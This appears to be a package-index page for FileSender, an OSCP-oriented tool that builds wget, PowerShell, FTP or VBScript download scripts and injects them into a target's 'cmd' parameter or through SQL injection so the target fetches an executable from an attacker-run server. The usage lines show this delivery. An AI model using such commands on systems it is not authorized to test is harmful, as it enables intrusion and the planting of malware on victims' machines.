Create script into different language to download a file form a server . Can be useful to send file via a SQLi.
Project description
Table of Contents
FileSender
Project URL : https://github.com/EmilienPer/FileSender
FileSender was created to be used for OSCP certification. It's aims to generate a script to upload a file to a target in different languages. The base mechanism is the following :
- Copy the file in a tempory directory
- Start a server (if required)
- Create the script to download the file from the server or to build the file
- Send the script to the target
Requirement
FileSender run on Python 2.7 can't work correctly without the following tools
The following tools are required:
- upx (/usr/bin/upx)
- exe2bat.exe
- wine
Installation
sudo pip install filesender
Options
Option | Shortcut | Description |
---|---|---|
file | The path to file to send | |
method | the language of the script (powershell,hex,ftp,wget,vbscript,exe2bat) | |
type | the type of output/sending method (print / get / post) | |
dest | the destination directory on the target | |
--server-ip | The local ip address | |
--server-port | The local port | |
--url | -u | The Target URL |
--params | -p | A json {key:value} where value=<SCRIPT> when should be replace by the script |
--cookies | -c | The cookies json |
--timeout | The timeout for server |
Usage
filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"} -c {} --timeout 10
filesender /path/to/my/file.exe ftp print /path/on/the/target
filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"}
Issues management
For contributions or suggestions, please open an Issue and clearly explain, using an example or a use case if appropriate.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
filesender-1.2.1.tar.gz
(7.0 kB
view hashes)
Built Distribution
filesender-1.2.1-py2-none-any.whl
(22.3 kB
view hashes)
Close
Hashes for filesender-1.2.1-py2-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | 8ce0ed40f716534a9f8731d81111884f0f82d8f64f14b8bd0c8890229911b4df |
|
MD5 | 25746c8da89febc5b19c8875a00a40ce |
|
BLAKE2b-256 | 29f262787b2a65f1e924026373d3ecf6251f8881b9986058d73c8a9989743a61 |